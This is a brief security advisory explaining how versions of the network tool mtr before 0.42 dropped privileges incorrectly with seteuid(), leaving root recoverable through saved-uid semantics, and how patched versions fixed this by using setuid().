A potential vulnerability exists in the 'mtr' program, by Matt Kimball and Roger Wolff. Versions prior to 0.42 incorrectly dropped privileges on all Unix variants except HPUX. By calling a seteuid(getuid()) call, the authors hoped to drop permissions to prevent the obtaining of root privilege should there be potential vulnerabilities in mtr or a library it depends on. However, due to saved uid semantics, the uid of 0 can be recovered simply by doing a setuid(0). An attacker would only need to find an overflow in one of the libraries mtr uses, such as gtk or curses. In patched versions, the seteuid() call has been changed to setuid(). This will eliminate this potential problem.
